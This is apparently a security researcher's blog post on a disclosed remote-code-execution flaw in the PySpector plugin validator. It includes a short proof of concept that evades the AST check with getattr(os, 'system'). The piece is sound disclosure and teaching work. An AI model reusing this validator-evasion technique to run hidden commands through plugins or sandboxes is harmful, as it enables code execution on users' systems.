I've always been the kind of person who, when using a tool, starts wondering how it works under the hood. Not just what it does but how. And then, inevitably: what could go wrong?

That curiosity is what got me into cybersecurity in the first place. Not a course, not a certification, just that itch to pull things apart and see what's inside. At some point that itch pointed me in an interesting direction: if I spend my time looking for vulnerabilities why not a project that I know?

The target

PySpector is an open source static analysis tool for Python repositories, built by my friend Tommaso Bona. It combines a Python CLI with a Rust core engine, supports plugin extensions, and is designed to help developers find vulnerabilities in their own code.

There's something almost poetic about finding a security flaw in a security tool. But beyond the irony, PySpector had a genuinely interesting attack surface: it clones remote repositories, parses arbitrary Python files, and the part that really caught my eye, executes user-supplied plugins.

I talked to Tommaso directly. We're both part of the same SecurityCert community, and that made the conversation easy and natural. He gave me his full support to dig into the project, and that trust meant a lot to me. I didn't want to just find something and drop a report I wanted to do this properly, together.

Mapping the attack surface

The first thing I do when looking at a new target is follow the data. Where does untrusted input come in, and where does it end up?

For PySpector, three flows stood out:

  • A URL from the user → validated → passed to git clone
  • Repository files → parsed as Python ASTs → analyzed by the Rust engine
  • User-supplied plugins → validated by a static analyzer → loaded and executed

That third one immediately felt like the most interesting. A plugin system that executes external Python code, gated by a homemade security validator that's exactly the kind of thing that tends to have blind spots.

Reading the validator

The security logic lives in plugin_system.py, inside PluginSecurity.validate_plugin_code(). It parses the plugin file into an AST and walks it looking for dangerous calls like os.system, subprocess.run, eval, and so on.

The detection hinges on a function called resolve_name(), which takes an AST node and tries to figure out what's being called. It handles two cases:

ast.Name a simple name like os

ast.Attribute a dotted name like os.system

If the node is anything else, it returns None. And in visit_Call(), when that happens, the check is silently skipped:

name = resolve_name(node.func)
if name:

    # security check runs here

# if name is None → nothing happens, no check at all

That's the gap. The validator only catches what it already knows how to recognize. Everything else walks right through.

Call(
  func = Call(getattr(os, 'system')
    func = Name('getattr')
    args = [Name('os'), Constant('system')]
  )
  args = [Constant('id')]
)

The outer Call has a func that is itself a Call not a Name or Attribute. So resolve_name() returns None, the check is skipped, and the validator happily returns is_safe: True.

I tested it immediately:

# test_bypass.py
import os
getattr(os, 'system')('id')

is_safe: True
message: (empty)

Building the PoC

With the bypass confirmed, I built a complete plugin valid structure, proper metadata, everything in order with the payload hidden inside process_findings():

def process_findings(self, findings, scan_path, **kwargs):
    getattr(os, 'system')('id > /tmp/pwned.txt')
    return {'success': True, 'message': 'done', 'data': None}

Then I ran it through PySpector's own plugin manager, exactly as a normal user would:

pm = get_plugin_manager()
pm.install_plugin_file('evil_plugin', Path('/tmp/evil_plugin.py'), overwrite=True)
plugin = pm.load_plugin('evil_plugin', require_trusted=False, force_load=True)
pm.execute_plugin(plugin, findings=[], scan_path=Path('/tmp'))


Output:

[+] Loaded plugin: evil v1.0.0
[*] Executing plugin: evil

Then I verified if the command was actually executed:

$ cat /tmp/pwned.txt
uid=1000(shinigami) gid=1000(shinigami) groups=1000(shinigami)[...]

That's RCE. Confirmed.

Disclosure

I reported everything privately through GitHub Security Advisories, following PySpector's disclosure policy. The report included a full technical breakdown, the PoC, a CVSS 3.1 score of 8.3 (High), and the relevant CWEs primarily CWE-693 and CWE-78. Tommaso was fast, professional, and collaborative throughout the whole process. The vulnerability has been patched in the latest version of PySpector, and the CVE was formally requested through GitHub's CNA.

What I take from this

Homemade security validators are hard to get right. Covering the obvious cases isn't enough you need to think about every way a dangerous operation can be expressed, not just the most direct one.

The gap between what a validator sees and what Python actually runs is a classic blind spot. AST-based sandboxing is genuinely difficult, and this is a well documented weakness of the approach.

Responsible disclosure, when done between people who trust each other, is a completely different experience. No tension, no legal threats, no back-and-forth. Just two people solving a problem together.

A personal note

This is my first CVE. And honestly, what makes it special isn't the CVE number itself it's everything around it.

It's the curiosity that started it. The hours spent reading code, following hunches, testing theories. The moment the bypass worked and I just stared at the terminal for a second before letting myself be excited about it.

And it's the people. Tommaso gave me the opportunity to do this, and that wasn't a small thing he trusted me with his project. The SecurityCert community has been there throughout this whole journey, pushing me to grow, keeping me accountable, making me feel like this path is worth walking. This one is for them as much as it's for me.

There will be more CVEs. But this one will always be the first.

If you want to see all the full POC please see the full GitHub Security Advisories: https://github.com/ParzivalHack/PySpector/security/advisories/GHSA-v3xv-8vc3-h2m6